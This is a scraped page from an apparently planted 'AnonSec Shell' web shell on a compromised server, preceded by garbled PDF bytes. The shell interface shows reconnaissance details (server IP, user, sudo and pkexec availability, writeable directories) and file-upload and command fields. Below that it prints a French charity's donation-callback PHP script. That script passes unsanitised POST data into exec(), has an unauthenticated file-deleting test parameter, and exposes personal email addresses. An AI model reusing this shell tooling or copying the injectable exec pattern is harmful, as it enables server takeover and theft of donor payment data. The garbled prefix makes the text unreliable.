%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/www/paiement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/www/paiement/call_response.php
<?php
include($_SERVER["DOCUMENT_ROOT"].'/dons.class.php');
include($_SERVER["DOCUMENT_ROOT"].'/PHPMailer/src/PHPMailer.php');
//include($_SERVER["DOCUMENT_ROOT"].'/inc/no_ssl.php');  //ssl_only.php //no_ssl.php
require_once($_SERVER["DOCUMENT_ROOT"].'/Connections/french.php'); 

	// Rיcupיration de la variable cryptיe DATA
	//$message="message=$HTTP_POST_VARS[DATA]";
	$message="message=$_POST[DATA]";
	
	// Initialisation du chemin du fichier pathfile (א modifier)
    //   ex :
    //    -> Windows : $pathfile="pathfile=c:\\repertoire\\pathfile";
    //    -> Unix    : $pathfile="pathfile=/home/repertoire/pathfile";
   
//   $pathfile="pathfile=chemin_du_fichier_pathfile";
	$pathfile= "pathfile=".$_SERVER["DOCUMENT_ROOT"]."/paiement/param/pathfile";
	
	// Initialisation du chemin de l'executable response (א modifier)
	// ex :
	// -> Windows : $path_bin = "c:\\repertoire\\bin\\response";
	// -> Unix    : $path_bin = "/home/repertoire/bin/response";
	//

//	$path_bin = "chemin_du_fichier_response";
	$path_bin = $_SERVER["DOCUMENT_ROOT"]."/paiement/bin/response";
	
	// Appel du binaire response

	$result=exec("$path_bin $pathfile $message");

	//	Sortie de la fonction : !code!error!v1!v2!v3!...!v29
	//		- code=0	: la fonction retourne les donnיes de la transaction dans les variables v1, v2, ...
	//				: Ces variables sont dיcrites dans le GUIDE DU PROGRAMMEUR
	//		- code=-1 	: La fonction retourne un message d'erreur dans la variable error


	//	on separe les differents champs et on les met dans une variable tableau

	$tableau = explode ("!", $result);

	//	Rיcupיration des donnיes de la rיponse

	$code = $tableau[1];
	$error = $tableau[2];
	$merchant_id = $tableau[3];
	$merchant_country = $tableau[4];
	$amount = $tableau[5];
	$transaction_id = $tableau[6];
	$payment_means = $tableau[7];
	$transmission_date= $tableau[8];
	$payment_time = $tableau[9];
	$payment_date = $tableau[10];
	$response_code = $tableau[11];
	$payment_certificate = $tableau[12];
	$authorisation_id = $tableau[13];
	$currency_code = $tableau[14];
	$card_number = $tableau[15];
	$cvv_flag = $tableau[16];
	$cvv_response_code = $tableau[17];
	$bank_response_code = $tableau[18];
	$complementary_code = $tableau[19];
	$complementary_info = $tableau[20];
	$return_context = $tableau[21];
	$caddie = $tableau[22];
	$receipt_complement = $tableau[23];
	$merchant_language = $tableau[24];
	$language = $tableau[25];
	$customer_id = $tableau[26];
	$order_id = $tableau[27];
	$customer_email = $tableau[28];
	$customer_ip_address = $tableau[29];
	$capture_day = $tableau[30];
	$capture_mode = $tableau[31];
	$data = $tableau[32];

	$messageelie='';
	while (list($key, $val) = each($tableau)) {
  $messageelie .= "$key => $val\n";
	}
//	mail('roy@tobeweb.eu','Nouveau don sur meirpanim.fr',$messageelie);
	$pMail = new PHPMailer();
	$pMail->IsHTML(true);
	$pMail->IsMail();
	$pMail->From = "no-response@meirpanim.fr";
	$pMail->AddReplyTo = "no-response@meirpanim.fr";
	$pMail->FromName = 'meirpanim.fr';
	$pMail->Subject = "Nouveau don sur meirpanim.fr";
	$pMail->Body = $messageelie;
	$pMail->AddAddress('malkaelie@gmail.com');
	$pMail->Send(); 
	//mail('malkaelie@gmail.com','Nouveau don sur meirpanim.fr',$messageelie);
	$messageelie='';
	while (list($key, $val) = each($_POST)) {
  $messageelie .= "$key => $val\n";
	}
//	mail('roy@tobeweb.eu','Nouveau don sur meirpanim.fr',$messageelie);
//	mail('malkaelie@gmail.com','Nouveau POST sur meirpanim.fr',$messageelie);
	
	//  analyse du code retour

  if (( $code == "" ) && ( $error == "" ) )
 	{
  	print ("<BR><CENTER>erreur appel response</CENTER><BR>");
  	print ("executable response non trouve $path_bin");
 	}

	//	Erreur, affiche le message d'erreur

	else if ( $code != 0 ){
		print ("<center><b><h2>Erreur appel API de paiement.</h2></center></b>");
		print ("<br><br><br>");
		print (" message erreur : $error <br>");
	}

	// OK, affichage des champs de la rיponse
	else {
		
		$don= new dons;
		$don->id_dons=$transaction_id;
		$don->lecture();
		$don->valide=1;
		if($don->id_dons && $response_code==0) 
		{
			$don->save();
			$cerfa = $don->createCerfa();
			$pMail = new PHPMailer();
			$pMail->IsHTML(true);
			$pMail->IsMail();
			$pMail->From = "no-response@meirpanim.fr";
			$pMail->AddReplyTo = "no-response@meirpanim.fr";
			$pMail->FromName = 'meirpanim.fr';
			$pMail->Subject = "Nouveau don sur meirpanim.fr";
			$pMail->Body = '<html><body>Ce message vous est envoyé pour vous informer qu\'un nouveau don a été effectué sur le site.<br>En pj le recu cerfa.</body></html>';
			$pMail->AddAddress('jsznabel@club-internet.fr');
			//$pMail->AddAddress('debosebban2@gmail.com');
			$pMail->AddAttachment($_SERVER["DOCUMENT_ROOT"].$cerfa);
			$pMail->Send(); 
			//mail('jsznabel@club-internet.fr','Nouveau don sur meirpanim.fr','Ce message vous est envoyé pour vous informer qu\'un nouveau don a été effectué sur le site.');
			//mail('debosebban2@gmail.com','Nouveau don sur meirpanim.fr','Ce message vous est envoyé pour vous informer qu\'un nouveau don a été effectué sur le site.');
			echo '<a href="'.$cerfa.'" target="_blank">Merci pour votre don, vous recevrez par mail votre recu CERFA. Si vous ne recevez pas le mail, merci de consulter vos spams.<br><br>Cliquez ici pour recuperer votre recu cerfa</a><br><br><a href="https://www.meirpanim.fr">Revenir sur le site de Meir Panim</a>';
			//$cerfa = $don->createCerfa();
			$pMail = new PHPMailer();
			$pMail->IsHTML(true);
			$pMail->IsMail();
			$pMail->From = "no-response@meirpanim.fr";
			$pMail->AddReplyTo = "no-response@meirpanim.fr";
			$pMail->FromName = 'meirpanim.fr';
			$pMail->Subject = "Votre don sur meirpanim.fr";
			$pMail->Body = '<html><body>
				<p style="font-size:14px;">Chers amis, </p>
				<p style="font-size:14px;">Merci pour votre g&eacute;n&eacute;rosit&eacute;.</p>
				<p style="font-size:16px; font-weight:bold;">Vous trouverez en pi&egrave;ce jointe votre re&ccedil;u cerfa.</p>
				<p style="font-size:14px;">Avec mon plus cordial Chalom.</p>
				<p style="font-size:14px;">Les amis de Meir Panim</p>
				</body></html>';
			$pMail->AddAddress($don->email);
			$pMail->AddAttachment($_SERVER["DOCUMENT_ROOT"].$cerfa);
			$pMail->Send(); 
		}
		//header("Location: ../donation_f.php");
		//header("Location: http://www.meirpanim.fr");
/*		
	# OK, affichage du mode DEBUG si activי
	print (" $error <br>");
		
	print("<center>\n");
	print("<H3>R&eacute;ponse manuelle du serveur ELYSNET</H3>\n");
	print("</center>\n");
	print("<b><h4>\n");
	print("<br><hr>\n");
	print("<br>merchant_id : $merchant_id\n");
	print("<br>merchant_country : $merchant_country\n");
	print("<br>amount : $amount\n");
	print("<br>transaction_id : $transaction_id\n");
	print("<br>transmission_date: $transmission_date\n");
	print("<br>payment_means: $payment_means\n");
	print("<br>payment_time : $payment_time\n");
	print("<br>payment_date : $payment_date\n");
	print("<br>response_code : $response_code\n");
	print("<br>payment_certificate : $payment_certificate\n");
	print("<br>authorisation_id : $authorisation_id\n");
	print("<br>currency_code : $currency_code\n");
	print("<br>card_number : $card_number\n");
	print("<br>cvv_flag: $cvv_flag\n");
	print("<br>cvv_response_code: $cvv_response_code\n");
	print("<br>bank_response_code: $bank_response_code\n");
	print("<br>complementary_code: $complementary_code\n");
	print("<br>complementary_info: $complementary_info\n");
	print("<br>return_context: $return_context\n");
	print("<br>caddie : $caddie\n");
	print("<br>receipt_complement: $receipt_complement\n");
	print("<br>merchant_language: $merchant_language\n");
	print("<br>language: $language\n");
	print("<br>customer_id: $customer_id\n");
	print("<br>order_id: $order_id\n");
	print("<br>customer_email: $customer_email\n");
	print("<br>customer_ip_address: $customer_ip_address\n");
	print("<br>capture_day: $capture_day\n");
	print("<br>capture_mode: $capture_mode\n");
	print("<br>data: $data\n");
	print("<br><br><hr></b></h4>");
*/
	}

//	print ("</body></html>");

if(!empty($_GET['test']))
{
$don= new dons;
$don->id_dons = $_GET['test'];
$cerfa = $don->getCerfaUrl($_GET['test']);
unlink($_SERVER["DOCUMENT_ROOT"].$cerfa);
$cerfa = $don->createCerfa();
echo '<a href="'.$cerfa.'" target="_blank">Recuperer le recu cerfa</a>';

	$test=1; // 1 = on n'envoi pas
	if(!$test)
	{
		$pMail = new PHPMailer();
		$pMail->IsHTML(true);
		$pMail->IsMail();
		$pMail->From = "no-response@meirpanim.fr";
		$pMail->AddReplyTo = "no-response@meirpanim.fr";
		$pMail->FromName = 'meirpanim.fr';
		$pMail->Subject = "Mise a jour cerfa sur meirpanim.fr";
		$pMail->Body = '<html><body>Ce message vous est envoyé pour vous informer qu\'un nouveau cerfa a été envoyé.<br>En pj le recu cerfa.</body></html>';
		$pMail->AddAddress('jsznabel@club-internet.fr');
		//$pMail->AddAddress('debosebban2@gmail.com');
		$pMail->AddAttachment($_SERVER["DOCUMENT_ROOT"].$cerfa);
		$pMail->Send(); 

		$pMail = new PHPMailer();
		$pMail->IsHTML(true);
		$pMail->IsMail();
		$pMail->From = "no-response@meirpanim.fr";
		$pMail->AddReplyTo = "no-response@meirpanim.fr";
		$pMail->FromName = 'meirpanim.fr';
		$pMail->Subject = "Votre cerfa sur meirpanim.fr";
		$pMail->Body = '<html><body>Chers amis, <br><br>Merci pour votre g&eacute;n&eacute;rosit&eacute;.<br><br>Vous trouverez en piece jointe votre recu cerfa.<br><br>Avec mon plus cordial Chalom.<br><br>Les amis de Meir Panim</body></html>';
		$pMail->AddAddress($don->email);
		$pMail->AddAttachment($_SERVER["DOCUMENT_ROOT"].$cerfa);
		$pMail->Send(); 
		
		echo ' - Le cerfa a ete envoyer';
	}
}
?>

Anon7 - 2022
AnonSec Team